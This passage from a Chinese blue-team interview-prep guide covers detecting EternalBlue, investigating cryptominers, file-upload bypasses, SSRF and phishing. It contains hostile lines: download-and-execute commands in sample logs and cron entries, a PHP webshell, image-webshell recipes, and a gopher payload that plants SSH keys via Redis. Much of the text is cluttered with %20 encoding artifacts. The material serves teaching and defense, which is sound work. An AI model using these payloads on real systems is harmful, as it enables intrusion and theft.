Frame 11: 4862 bytes%20on wire (38896 bits)SMB (Server Message Block Protocol) %20 SMB Header %20 %20 %20 Server Component: SMB %20 %20 %20 SMB Command: SMB_COM_TRANSACTION2 (0x32) %20 %20 %20 Error Class: Success (0x00) %20 %20 %20 Reserved: 00 %20 %20 %20 Error Code: No Error %20 %20 %20 Flags: 0x18 %20 %20 %20 Flags2: 0xc807 %20 %20 %20 Process ID High: 0 %20 %20 %20 Signature: 0000000000000000 %20 %20 %20 Reserved: 0000 %20 %20 %20 Tree ID: 0x0001 %20 %20 %20 Process ID: 0xfeeb %20 %20 %20 User ID: 0x0000 %20 %20 %20 Multiplex ID: 0x0005 %20 SMB_COM_TRANSACTION2 %20 %20 %20 %20... %20 %20 %20 Data:%20(4862 bytes) %20 %20 %20 %20 %20 0000 00 00 00 c0%20fe 53 4d 42 00 00 00 00 00 00 00 00 %20 .....SMB........ %20 %20 %20 %20 %20 0010 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 %20 ................ %20 %20 %20 %20 %20 0020 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 %20 ................ %20 %20 %20 %20 %20 0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 %20 ................ %20 %20 %20 %20 %20 %20...(包含shellcode数据)...
关键特征:
- SMB协议头特征:
\x00\x00\x00\xc0\xfe\x53\x4d\x42(SMB头标志) - 命令类型:
SMB_COM_TRANSACTION2(0x32) - 数据包长度异常:正常SMB包几百字节,攻击包可达几千字节
- 攻击后出现
[RST]包,说明目标系统崩溃或服务异常
3.%20Windows系统日志特征
原理:在Windows系统日志中,攻击成功后会看到4624登录成功日志,登录类型为3(网络登录)。因为永恒之蓝执行代码后,通常会在目标系统上创建服务或计划任务,会有相关的日志记录。
举个例子,目标主机192.168.1.20被攻击成功后的日志:
安全日志%20–%20登录成功:
事件ID:%204624(登录成功)时间:%202026-03-15%2014:30:20账户名:%20ANONYMOUS%20LOGON登录类型:%203(网络登录)源IP:%20192.168.1.100源端口:%2049152进程名:%20C:\Windows\System32\svchost.exe
*系统日志%20–%20服务创建:*
事件ID:%207045(服务创建)时间:%202026-03-15%2014:30:25服务名称:%20MS17-010服务文件名:%20C:\Windows\Temp\svchost.exe服务类型:%20用户模式服务启动类型:%20自动账户:%20LocalSystem
*安全日志%20–%20特权登录:*
事件ID:%204672(特殊权限登录)时间:%202026-03-15%2014:30:26账户名:%20SYSTEM特权:%20SeAssignPrimaryTokenPrivilege,%20SeTcbPrivilege,%20...
*安全日志%20–%20进程创建:*
事件ID:%204688(进程创建)时间:%202026-03-15%2014:30:30进程名:%20cmd.exe父进程名:%20svchost.exe命令行:%20cmd.exe%20/c%20whoami%20>%20C:\Windows\Temp\result.txt
*系统日志%20–%20服务停止/删除:*
事件ID:%207040(服务状态变更)时间:%202026-03-15%2014:30:35服务名称:%20MS17-010状态:%20停止
关键特征:
- 事件ID%204624(登录成功),登录类型为3(网络登录)
- 事件ID%204672(特殊权限登录),通常与SYSTEM账户相关
- 事件ID%207045(服务创建),服务名可能是随机名或MS17-010相关
- 事件ID%204688(进程创建),父进程多为
svchost.exe或services.exe - 时间顺序:先有登录,再有服务创建,后有命令执行
4.%20攻击成功后的痕迹
原理:攻击成功后,攻击者通常会执行后续操作,如添加用户、安装后门、横向移动等。
举个例子,攻击成功后执行的操作:
安全日志%20–%20用户创建:
事件ID:%204720(用户创建)时间:%202026-03-15%2014:35:00账户名:%20backdoor创建者:%20SYSTEM
*安全日志%20–%20用户添加到管理员组:*
事件ID:%204732(用户添加到本地组)时间:%202026-03-15%2014:35:05账户名:%20backdoor组名:%20Administrators
*系统日志%20–%20计划任务创建:*
事件ID:%204698(计划任务创建)时间:%202026-03-15%2014:40:00任务名称:%20\Microsoft\Windows\Update\SecurityUpdate任务内容:%20schtasks%20/create%20/tn "SecurityUpdate" /tr "C:\Windows\Temp\update.exe" /sc%20daily%20/st%2009:00
*PowerShell日志:*
事件ID:%204104(PowerShell执行)时间:%202026-03-15%2014:45:00脚本内容:%20Invoke-Expression%20(New-Object%20Net.WebClient).DownloadString('http://malicious.com/ps.ps1')
综合判断示例
攻击流程:
- 攻击者通过445端口发送恶意SMB数据包
- 触发缓冲区溢出,执行shellcode
- shellcode创建服务执行恶意程序
- 恶意程序反弹shell或添加后门用户
判断依据:
|%20检查项%20|%20发现结果%20|%20判断%20|
|%20—%20|%20—%20|%20—%20|
|%20安全设备告警%20|%20445端口,包含\x00\x00\x00\xc0\xfe\x53\x4d\x42特征%20|%20存在永恒之蓝攻击%20|
|%20网络流量%20|%20SMB_COM_TRANSACTION2数据包,长度4862字节%20|%20攻击包特征明显%20|
|%20安全日志%20|%20事件ID%204624,登录类型3,源IP%20192.168.1.100%20|%20网络登录成功%20|
|%20系统日志%20|%20事件ID%207045,服务名MS17-010%20|%20服务被创建%20|
|%20进程日志%20|%20事件ID%204688,cmd.exe执行命令%20|%20命令执行%20|
|%20后续日志%20|%20事件ID%204720、4732,创建backdoor用户%20|%20持久化操作%20|
*结论:永恒之蓝攻击成功,目标主机已被控制,攻击者创建了后门账户。*
参考回答
永恒之蓝漏洞利用445端口,通过SMB协议攻击。在安全设备上可以看到445端口有大量异常流量,攻击包中包含\x00\x00\x00\xc0\xfe\x53\x4d\x42这个SMB协议头特征。用Wireshark抓包能看到SMB_COM_TRANSACTION2命令和异常长度的数据包。
攻击成功后,Windows安全日志中会有事件ID%204624登录成功事件,登录类型为3(网络登录),源IP是攻击者IP。随后会有事件ID%207045创建服务,服务名可能是随机名或MS17-010相关。如果攻击者执行了后续操作,还会有事件ID%204688进程创建、4720用户创建、4732用户添加到管理员组等日志。如果目标主机上有这些日志组合出现,基本可以判断永恒之蓝攻击成功。
11.%20挖矿木马的判断方法
挖矿木马是护网期间最常见的攻击类型之一,因为挖矿能直接给攻击者带来经济利益。
挖矿特征
挖矿木马最明显的特征是CPU占用率持续接近100%,导致服务器卡顿、响应缓慢。因为挖矿程序需要大量的计算资源,会占满CPU。
判断方法
判断方法一:查看告警设备流量
原理:在告警设备中查看告警的流量数据包,看是否有挖矿协议流量。挖矿程序通常会连接矿池,矿池的IP和端口有特征,比如常用的门罗币矿池端口是3333、5555、7777等。
举个例子,假设服务器192.168.1.100被植入挖矿木马,安全设备产生告警:
IDS/IPS告警:
告警时间:%202026-03-28%2014:30:15告警名称:%20ET%20CURRENT_EVENTS%20CoinMiner%20Known%20Mining%20Pool%20(Monero)%20 (门罗币矿池)告警级别:%20中危源IP:%20192.168.1.100源端口:%2045678目标IP:%2045.33.22.11目标端口:%203333协议:%20TCP威胁情报:%20矿池IP
*流量抓包分析:*
No.%20 Time%20 %20 %20 %20 Source%20 %20 %20 %20 %20 Destination%20 %20 %20Protocol%20 Info1 %20 14:30:15 %20 192.168.1.100 %20 45.33.22.11 %20 %20 TCP%20 %20 %20 45678 → 3333 [SYN]2 %20 14:30:15 %20 45.33.22.11 %20 %20 192.168.1.100 %20 TCP%20 %20 %20 3333 → 45678 [SYN,%20ACK]3 %20 14:30:16 %20 192.168.1.100 %20 45.33.22.11 %20 %20 TCP%20 %20 %20 45678 → 3333 [ACK]4 %20 14:30:16 %20 192.168.1.100 %20 45.33.22.11 %20 %20 TCP%20 %20 %20 45678 → 3333 [PSH,%20ACK]%20(挖矿协议数据)5%20 %20 14:30:16%20 %2045.33.22.11%20 %20 %20192.168.1.100%20 %20TCP%20 %20 %20 %203333%20→%2045678%20[ACK]
关键特征:
- 目标端口是矿池常用端口:3333、5555、7777(门罗币)、4444、14444(以太坊)、8008(比特币)等
- 告警名称包含
CoinMiner、Mining、矿池等关键字 - 流量协议可能是Stratum挖矿协议
判断方法二:威胁情报查询
原理:将目的IP地址放入威胁情报平台检测,比如微步在线、奇安信威胁情报中心,看是否被打上“矿池”标签。
举个例子,将目标IP45.33.22.11提交到威胁情报平台:
微步在线查询结果:
IP地址:%2045.33.22.11地理位置:%20美国,%20加利福尼亚州ASN:%20AS12345标签:%20矿池,%20恶意软件C2,%20挖矿首次发现:%202026-06-01最近活动:%202026-01-15关联样本: %20-%20xmrig%20(门罗币挖矿程序) %20-%20miner.exe %20-%20pool.monero.com威胁等级:%20高危
奇安信威胁情报中心:
IP:%2045.33.22.11恶意类型:%20矿池矿池名称:%20supportxmr.com币种:%20Monero%20(XMR)端口:%203333,%205555,%207777关联域名:%20pool.supportxmr.com
关键特征:
- 威胁情报标签包含“矿池”、“挖矿”、“CoinMiner”
- 关联的域名通常是矿池域名(如
pool.xxx.com) - 关联样本包含
xmrig、miner等挖矿程序名称
判断方法三:主机CPU占用率排查
原理:在主机上执行top命令,查看CPU占用率。如果发现某个进程CPU占用率异常高,且进程名称是随机字符串或者伪装成系统进程,很可能是挖矿程序。
举个例子,登录到服务器192.168.1.100执行排查:
执行top命令:
top -c
输出示例:
top%20-%2014:30:15%20up%205%20days,%20 2:15,%20 2 users,%20 load%20average:%208.50,%207.80,%206.90Tasks:%20120%20total,%20 %203%20running,%20117%20sleeping,%20 %200%20stopped,%20 %200%20zombie%Cpu(s):%2098.5%20us,%20 1.2%20sy,%20 0.0%20ni,%20 0.1 id,%20 0.0%20wa,%20 0.0%20hi,%20 0.2%20si,%20 0.0%20stKiB%20Mem%20:%20 8192000%20total,%20 %20512000%20free,%20 7000000%20used,%20 %20680000%20buff/cacheKiB%20Swap:%20 2097152%20total,%20 2097152%20free,%20 %20 %20 %20 0%20used.%20 %20900000%20avail%20Mem
%20PID%20USER%20 %20 %20 PR%20 NI%20 %20 VIRT%20 %20 RES%20 %20 SHR%20S%20 %CPU%20%MEM%20 %20 %20TIME+%20COMMAND12345%20root%20 %20 %20 20%20 %200%20 500000%20 200000%20 %201000%20R%20 98.5%20 2.4%20 15:30.12%20[kswapd0] %20678%20mysql%20 %20 %2020%20 %200%201500000%20 300000%20 15000%20S%20 %200.3%20 3.7%20 12:30.23%20/usr/sbin/mysqld %20789%20www-data%20 20%20 %200%20 200000%20 %2050000%20 %208000%20S%20 %200.2%20 0.6%20 10:20.34%20/usr/sbin/nginx...
查看进程详细信息:
ls -la%20/proc/12345/exe
输出:
lrwxrwxrwx 1 root%20root 0 Jan 15 14:30 /proc/12345/exe%20->%20/tmp/.X11-unix/.rsync/a%20(deleted)
查看进程打开的文件:
lsof -p 12345
输出:
COMMAND %20 PID%20USER%20 %20FD%20 %20TYPE%20DEVICE%20SIZE/OFF %20 %20NODE%20NAMEa %20 %20 %20 12345 root%20 cwd%20 %20 DIR%20 %20 8,1 %20 %20 4096 %20 %20 %20 2 /a %20 %20 %20 12345 root%20 txt%20 %20 REG%20 %20 8,1 2000000 123456 /tmp/.X11-unix/.rsync/a%20(deleted)a %20 %20 %20 12345 root%20 %20 3u%20 %20IPv4%20 123456 %20 %20 0t0%20 %20 %20TCP 192.168.1.100:45678->45.33.22.11:3333 (ESTABLISHED)
关键特征:
- CPU占用率接近100%(
%CPU列显示98.5%) - 进程名是可疑的:随机字符串如
[kswapd0](注意方括号,正常的kswapd0没有方括号),或者是a、x、miner等 - 进程路径在
/tmp、/var/tmp、/dev/shm等临时目录 - 进程文件已删除(
(deleted)标记) - 进程有网络连接,连接到矿池IP和端口
判断方法四:网络连接排查
原理:查看网络连接,用netstat%20-antlp看有没有连接到已知矿池IP的连接。
举个例子,执行网络连接查看命令:
netstat -antlp%20|%20grep%20ESTABLISHED
输出示例:
tcp %20 %20 %20 0 %20 %20 0 192.168.1.100:45678 %20 %20 45.33.22.11:3333 %20 %20 %20 ESTABLISHED 12345/atcp %20 %20 %20 0 %20 %20 0 192.168.1.100:22 %20 %20 %20 192.168.0.50:52341 %20 %20 ESTABLISHED 678/sshdtcp %20 %20 %20 0 %20 %20 0 192.168.1.100:80 %20 %20 %20 203.0.113.5:12345 %20 %20 %20ESTABLISHED 789/nginx
查看连接详情:
ss -antp%20|%20grep 45.33.22.11
输出:
ESTAB %20 %20 0 %20 %20 0 %20 %20 192.168.1.100:45678 %20 %20 45.33.22.11:3333 %20 %20 %20 users:(("a",pid=12345,fd=3))
查询连接IP的威胁情报:
whois 45.33.22.11curl "https://api.threatbook.cn/v3/ip/query?apikey=xxx&resource=45.33.22.11"
关键特征:
- 连接到非标准端口(不是80、443、53等常用端口)
- 连接状态为
ESTABLISHED,持续存在 - 连接的进程名可疑(如
a、miner等) - 目标IP被威胁情报标记为矿池
判断方法五:定时任务排查
原理:查看定时任务,看有没有定期下载或执行恶意程序的脚本。
举个例子,排查定时任务:
#%20查看当前用户的定时任务crontab -l
输出:
*/10%20*%20*%20*%20*%20/tmp/.X11-unix/.rsync/a%20>/dev/null%202>&1@reboot%20/tmp/.X11-unix/.rsync/run.sh0%202%20*%20*%20*%20wget%20-q%20http://45.33.22.11/miner.sh%20-O%20/tmp/miner.sh%20&&%20bash%20/tmp/miner.sh
查看所有用户的定时任务:
cat /etc/crontabls -la%20/var/spool/cron/cat /var/spool/cron/root
输出:
SHELL=/bin/bashPATH=/sbin:/bin:/usr/sbin:/usr/binMAILTO=root
*/5%20*%20*%20*%20*%20root%20curl%20-s%20http://45.33.22.11/update.sh%20| bash0%200%20*%20*%20*%20root%20/usr/local/bin/sysupdate
查看系统定时任务目录:
ls -la%20/etc/cron.d/cat /etc/cron.d/0hourly
输出:
-rw-r--r-- 1 root%20root 113 Jan 15 14:30 sysupdate
查看脚本内容:
cat /etc/cron.d/sysupdate
输出:
*/5%20*%20*%20*%20*%20root%20curl%20-s%20http://45.33.22.11/miner%20|%20bash
关键特征:
- 定时任务执行频率高(如每5分钟、10分钟执行一次)
- 任务内容包含下载命令(
wget、curl)和执行脚本(bash、sh) - 下载源IP是矿池IP或恶意域名
- 执行路径在
/tmp、/dev/shm等临时目录 - 有开机启动任务(
@reboot)
参考回答
挖矿木马的特征是CPU占用率接近100%,有连接到矿池的流量。判断方法有四步:第一,在安全设备上看是否有矿池协议流量,矿池常用端口是3333、5555、7777;第二,把连接IP丢到微步在线或奇安信威胁情报中心,看是否被打上矿池标签;第三,在主机上用top查看CPU占用,如果发现进程名是随机字符串或伪装成系统进程且CPU占用极高,很可能是挖矿;第四,用netstat查看是否有连接矿池IP的网络连接,用crontab%20-l查看是否有定期下载执行的定时任务。确认是挖矿后,用kill%20-9杀掉进程,然后清除定时任务、删除恶意文件、封禁矿池IP,最后重启服务器确认清理干净。
12.%20文件上传绕过方式
文件上传漏洞的利用和防御是渗透测试和护网的重要内容。
前端绕过
有些网站只在前端用JavaScript检查文件后缀,后端没有做校验。这种情况很简单,直接禁用浏览器的JavaScript,或者在浏览器开发者工具里修改前端代码,或者在抓包后修改文件名。
举个例子,假设有一个上传页面,URL是 http://example.com/upload.html,前端JavaScript代码是:
<form action="upload.php" method="post" enctype="multipart/form-data"> %20 <input type="file" name="file" id="file" accept=".jpg,.png,.gif"> <button onclick="return checkFile()">上传</button></form>
<script>function checkFile() { var file = document.getElementById('file').files[0]; var ext = file.name.split('.').pop().toLowerCase(); if (ext !== 'jpg' && ext !== 'png' && ext !== 'gif') { alert('只允许上传图片文件'); return false; } return true;}</script>
绕过方式一:禁用JavaScript
- 在浏览器设置中禁用JavaScript
- 或者使用浏览器插件(如NoScript)禁用该站点的JS
- 直接上传
shell.php,前端检查被绕过
绕过方式二:开发者工具修改
- 按F12打开开发者工具
- 在Sources或Debugger中找到
checkFile函数 - 在函数开头添加
return true;,覆盖原有逻辑 - 上传
shell.php
绕过方式三:抓包修改
- 选择一张正常的图片
1.jpg - 使用Burp Suite抓包
- 在请求包中将文件名改为
shell.php - 发送请求
抓包修改示例:
POST /upload.php HTTP/1.1Host: example.comContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123Content-Length: 456
------WebKitFormBoundaryABC123Content-Disposition: form-data; name="file"; filename="1.jpg"Content-Type: image/jpeg
(图片二进制数据)------WebKitFormBoundaryABC123--
修改为:
POST /upload.php HTTP/1.1Host: example.comContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123Content-Length: 456
------WebKitFormBoundaryABC123Content-Disposition: form-data; name="file"; filename="shell.php"Content-Type: image/jpeg
(图片二进制数据)------WebKitFormBoundaryABC123--
服务端绕过
服务端检测分为黑名单和白名单两种。
黑名单检测是指不允许上传某些后缀,比如asp、php、jsp等。绕过方法很多:大小写混淆,用PHP而不是php;双写关键字,用pphphp;利用解析漏洞,比如IIS的;.jpg,Apache的.htaccess;用特殊字符截断,比如%00截断、换行符截断。
举个例子,假设后端使用黑名单过滤:
$blacklist = array('asp', 'aspx', 'php', 'jsp', 'jspx', 'php3', 'php4', 'php5', 'phtml', 'cer', 'asa');$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);if (in_array(strtolower($ext), $blacklist)) { die("不允许上传此类型文件");}
绕过方式一:大小写混淆
上传文件名: shell.PHP或: shell.PhP或: shell.pHp
因为in_array中使用了strtolower,这种方式实际无效,但有些WAF或简单检测可能只匹配小写。
绕过方式二:双写关键字
上传文件名: shell.pphphp
如果后端有简单的删除逻辑(如删除”php”),删除后变成shell.php。
绕过方式三:利用解析漏洞(IIS 6.0)
上传文件名: shell.asp;.jpg
IIS 6.0解析时,遇到;会截断,将shell.asp;.jpg当作.asp执行。
绕过方式四:利用解析漏洞(Apache)
上传文件名: shell.php.xxx
绕过方式五:特殊字符截断(%00)
上传文件名: shell.php%00.jpg
绕过方式六:换行符截断
上传文件名: shell.php\x0a.jpg
在某些环境下,换行符会导致后缀检测失效。
绕过方式七:利用.htaccess
上传文件名: .htaccess文件内容: AddType application/x-httpd-php .jpg
上传后,当前目录下的.jpg文件都会被当作PHP执行。
白名单检测是指只允许上传某些后缀,比如jpg、png、gif等。这种更安全,但还是有绕过方法:00截断,在上传文件名中插入空字节,截断后缀检测;双文件名,有些应用只检查第一个点后面的后缀;MIME类型伪造,把Content-Type改成image/jpeg;图片马,把恶意代码嵌入到图片文件中。
举个例子,假设后端使用白名单过滤:
$whitelist = array('jpg', 'png', 'gif', 'bmp');$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);if (!in_array(strtolower($ext), $whitelist)) { die("只允许上传图片文件");}
绕过方式一:00截断
POST /upload.php?filename=shell.php%00.jpg HTTP/1.1
在某些旧版本PHP中,%00截断后,实际保存文件名为shell.php。
绕过方式二:双文件名 有些应用只检查第一个点后面的后缀:
上传文件名: shell.php.jpg
白名单检查.jpg通过,但实际可能保存为shell.php.jpg,如果解析漏洞存在,可能被当作PHP执行。
绕过方式三:MIME类型伪造
POST /upload.php HTTP/1.1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
------WebKitFormBoundaryABC123Content-Disposition: form-data; name="file"; filename="shell.php"Content-Type: image/jpeg ← 伪造MIME类型
<?php system($_GET['cmd']); ?>------WebKitFormBoundaryABC123--
绕过方式四:图片马 先制作一张图片马:
# 在图片末尾追加PHP代码copy 1.jpg /b + shell.php /a shell.jpg
# 或使用exiftoolexiftool -Comment='<?php system($_GET["cmd"]); ?>' 1.jpg
生成的shell.jpg在图片查看器中正常显示,但被包含时执行PHP代码。
绕过方式五:文件头伪造 在PHP文件开头添加图片文件头:
GIF89a;<?php system($_GET['cmd']); ?>
白名单检查后缀为.gif,文件内容以GIF89a;开头,绕过文件头检测。
解析漏洞
某些中间件有解析漏洞,可以利用这些漏洞绕过检测。
IIS 6.0解析漏洞:;.jpg这种文件名会被当成asp解析;/xx.asp/目录下的所有文件都会当成asp解析。
举个例子,目标服务器为IIS 6.0:
漏洞一:分号截断
上传文件名: shell.asp;.jpg
IIS解析时,遇到;会忽略后面的内容,将shell.asp;.jpg当作.asp执行。
访问路径:http://example.com/upload/shell.asp;.jpg
漏洞二:目录解析
上传路径: /upload/shell.asp/shell.jpg
IIS会将/shell.asp/目录下的所有文件都当作ASP执行。
访问路径:http://example.com/upload/shell.asp/shell.jpg
Apache解析漏洞:Apache从右向左识别后缀,如果最右边的后缀不认识,就继续向左识别。比如shell.php.xxx,如果xxx不认识,就会当成php解析。
举个例子,目标服务器为Apache:
利用方式:
上传文件名: shell.php.xxx
Apache解析流程:
- 识别后缀
.xxx,不在mime.types中 - 继续向左识别
.php,在mime.types中,当作PHP执行
访问路径:http://example.com/upload/shell.php.xxx
前提条件:
- Apache配置中
mod_mime模块启用 AllowOverride允许.htaccess覆盖配置
Nginx解析漏洞:在fastcgi配置不当的情况下,访问shell.jpg/xxx.php,shell.jpg会被当成php解析。
举个例子,目标服务器为Nginx,存在错误配置:
location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; include fastcgi_params;}
利用方式:
- 上传图片马
shell.jpg - 访问路径:
http://example.com/upload/shell.jpg/xxx.php
Nginx解析流程:
- 看到
/xxx.php,匹配到\.php$规则 - 将
shell.jpg/xxx.php作为SCRIPT_FILENAME传给PHP-FPM - PHP-FPM认为
shell.jpg是可执行文件,执行其中的PHP代码
另一种方式:
http://example.com/upload/shell.jpg%00.php
使用%00截断,同样可以触发。
参考回答
文件上传绕过分几种情况。前端绕过直接禁用JS或者改包就能解决。
黑名单检测可以用大小写混淆、双写关键字、特殊字符截断、解析漏洞等方法。大小写混淆比如用.PHP代替.php;双写比如pphphp;截断可以用%00或换行符;还可以利用IIS的;.jpg解析漏洞、Apache的多后缀解析漏洞。
白名单检测比较严格,可以用00截断、双文件名、MIME类型伪造、图片马等方式。00截断是在文件名中插入%00截断后缀检测;图片马是把PHP代码嵌入到图片中,结合文件包含漏洞执行。
不同中间件还有解析漏洞,IIS 6.0的;.jpg和/xx.asp/目录解析,Apache的多后缀解析,Nginx的/xxx.jpg/xxx.php解析漏洞都可以利用。
13. SSRF漏洞
SSRF是服务端请求伪造,攻击者利用服务端发起请求的能力,让服务端去访问本不该访问的地址。
原理
很多应用需要从服务端发起请求,比如获取外部图片、调用第三方API、抓取网页内容等。如果服务端请求的URL可以由用户控制,又没有做限制,攻击者就可以让服务端去访问内网地址、云元数据服务、甚至本地的敏感文件。
举个例子,假设有一个网站,URL是 http://example.com/fetch,提供了“获取远程图片”的功能,后台的PHP代码是:
<?php$url = $_GET['url'];$content = file_get_contents($url);header('Content-Type: image/jpeg');echo $content;?>
如果攻击者构造URL:
http://example.com/fetch?url=file:///etc/passwd
那么后台代码实际执行的是:
$content = file_get_contents('file:///etc/passwd');
服务器读取本地的/etc/passwd文件,并将其作为图片内容返回,导致敏感文件泄露。如果页面会把内容显示出来,那么服务器上的用户账号信息就会出现在页面上。
如果攻击者构造URL:
http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/
那么后台会请求云服务器的元数据服务(AWS、阿里云等常见内网地址),返回的响应中可能包含云凭证、临时AK/SK等敏感信息,攻击者可利用这些凭证进一步控制云资源。
常用协议
SSRF攻击常用的协议有:
| 协议 | 用途 | 示例 |
| — | — | — |
| file:// | 读取本地文件 | file:///etc/passwd 、file:///c:/windows/win.ini |
| dict:// | 探测内网端口 | dict://192.168.1.1:3306 |
| gopher:// | 攻击内网服务(Redis、MySQL等) | gopher://192.168.1.100:6379/_*1%0d%0a$8%0d%0aflushall... |
| http:// / https:// | 访问内网Web服务 | http://192.168.1.10/admin |
SSRF攻击示例
1. 利用file://协议读取本地文件
场景:目标网站提供URL图片抓取功能
攻击步骤:
- 攻击者构造URL:
http://example.com/fetch?url=file:///etc/passwd
- 服务端执行
file_get_contents('file:///etc/passwd') - 服务器返回
/etc/passwd文件内容
HTTP响应:
HTTP/1.1 200 OKContent-Type: image/jpegContent-Length: 1234
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologin...
2. 利用http://协议探测内网
场景:目标网站可以抓取外部图片,攻击者想探测内网存活主机
攻击步骤:
- 攻击者构造URL探测内网Web服务:
http://example.com/fetch?url=http://192.168.1.1:80
- 如果返回正常图片内容或特定错误信息,说明该IP的80端口开放
- 遍历内网IP段,发现存活主机
利用dict://协议探测端口:
http://example.com/fetch?url=dict://192.168.1.10:3306
如果返回Connection refused,说明端口关闭;如果返回特定握手信息,说明端口开放。
3. 利用gopher://协议攻击Redis
场景:内网有一台Redis服务器(192.168.1.100,端口6379)未授权访问
攻击步骤:
- 攻击者构造gopher payload,向Redis写入SSH公钥:
gopher://192.168.1.100:6379/_*2%0d%0a$4%0d%0aAUTH%0d%0a$12%0d%0aredis123%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$[长度]%0d%0a%0a\n\nssh-rsa AAAAB3NzaC1yc2E... root@kali\n\n%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$[长度]%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$[长度]%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
- 服务端发起请求,Redis执行写入命令
- 攻击者使用SSH私钥登录Redis服务器
4. 利用云元数据服务获取云凭证
场景:目标服务器部署在云上(AWS、阿里云、腾讯云等)
攻击步骤:
- 攻击者构造URL访问AWS元数据服务:
http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/
AWS元数据服务返回:
ami-idami-launch-indexami-manifest-pathblock-device-mapping/hostnameiam/instance-actioninstance-idinstance-typelocal-hostnamelocal-ipv4macmetrics/network/placement/profilepublic-hostnamepublic-ipv4public-keys/reservation-idsecurity-groupsservices/
- 进一步获取IAM角色临时凭证:
http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role
返回内容:
{ "Code" : "Success", "LastUpdated" : "2026-03-15T14:30:00Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIAIOSFODNN7EXAMPLE", "SecretAccessKey" : "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", "Token" : "IQoJb3JpZ2luX2VjE...", "Expiration" : "2026-03-15T20:30:00Z"}
- 攻击者获取到云凭证,可以进一步控制云资源
绕过方法
1. 短网址服务
原理:把恶意地址转换成短网址,服务端请求短网址时被重定向到内网地址
示例:
原始地址:http://169.254.169.254/latest/meta-data/短网址:http://t.cn/xxxxx构造URL:http://example.com/fetch?url=http://t.cn/xxxxx
2. 进制转换
原理:用十进制或十六进制表示IP地址,绕过IP黑名单
示例:
127.0.0.1 的十进制:2130706433127.0.0.1 的十六进制:0x7f000001构造URL:http://example.com/fetch?url=http://2130706433/或:http://example.com/fetch?url=http://0x7f000001/
3. 302跳转
原理:用自己的服务器做302跳转到内网地址
示例:
- 攻击者搭建服务器
http://attacker.com/redirect - 配置302跳转:
<?phpheader("Location: http://169.254.169.254/latest/meta-data/");?>
- 构造URL:
http://example.com/fetch?url=http://attacker.com/redirect
- 服务端请求
attacker.com,收到302跳转,跟随跳转访问内网地址
4. DNS重绑定
原理:利用DNS解析的时间差,第一次解析返回一个公网IP(通过白名单检测),第二次解析返回内网IP
示例:
- 攻击者注册域名
attacker.com,配置DNS TTL为0 - 第一次解析:返回公网IP
1.2.3.4(在白名单内) - 第二次解析:返回内网IP
169.254.169.254 - 服务端检测到IP在白名单后发起请求,但实际连接的是内网IP
修复方法
1. 禁止不需要的协议
<?php$url = $_GET['url'];$scheme = parse_url($url, PHP_URL_SCHEME);
// 只允许http和httpsif (!in_array($scheme, ['http', 'https'])) { die("协议不允许");}?>
2. 设置URL白名单
<?php$url = $_GET['url'];$host = parse_url($url, PHP_URL_HOST);
// 只允许访问特定域名$whitelist = ['api.example.com', 'images.example.com'];if (!in_array($host, $whitelist)) { die("域名不在白名单中");}?>
3. 限制请求的端口
<?php$url = $_GET['url'];$port = parse_url($url, PHP_URL_PORT);if ($port && !in_array($port, [80, 443, 8080])) { die("端口不允许");}?>
4. 统一返回信息
<?phptry { $content = file_get_contents($url); echo $content;} catch (Exception $e) { // 统一返回错误信息,不暴露具体原因 echo "获取失败";}?>
5. 禁用危险函数
在php.ini中禁用危险函数:
disable_functions = file_get_contents, curl_exec, fsockopen
参考回答
SSRF是服务端请求伪造,攻击者让服务端访问不该访问的地址。常用协议有file://读本地文件、dict://探测端口、gopher://攻击内网服务、http://访问内网Web。绕过方法有短网址、进制转换、302跳转、DNS重绑定。修复方法是禁止不需要的协议、设置URL白名单、限制端口、统一返回信息。在应急响应中,如果发现file://、169.254.169.254等关键字,基本可以判断是SSRF攻击。
14. 钓鱼邮件的处理思路
护网期间,钓鱼邮件是红队常用的攻击手段。蓝队需要能够识别和处理钓鱼邮件。
钓鱼邮件的特征
钓鱼邮件通常有这些特征:发件人地址可疑,可能是拼写错误或者仿冒域名;邮件内容制造紧迫感,比如“24小时内修改密码”“账号异常请点击链接”;包含可疑的链接或附件;要求输入账号密码等敏感信息。
举个例子,某公司员工收到一封邮件:
邮件内容:
发件人: [email protected]收件人: [email protected]主题: 紧急:您的邮箱账户存在异常登录,请立即验证!
尊敬的员工:
系统检测到您的邮箱账户在2026年3月29日 14:30:00 有来自海外IP的异常登录。为保障您的账户安全,请在24小时内点击以下链接完成身份验证,否则账户将被锁定。
http://example-secure.com-verify.com/[email protected]
如有疑问,请联系IT支持中心。
此致IT安全团队
可疑特征:
- 发件人域名
example-secure.com是仿冒公司域名company.com的 - 邮件内容制造紧迫感:“24小时内”“否则将被锁定”
- 链接域名
example-secure.com-verify.com明显可疑 - 链接中包含收件人邮箱,是个性化钓鱼链接
处理思路
第一步:威胁情报平台扫描
原理:接入威胁情报平台,对邮件内容中出现的URL进行扫描,看是否已经被标记为恶意。
举个例子,将钓鱼邮件中的URL http://example-secure.com-verify.com/login.php 提交到威胁情报平台:
微步在线查询结果:
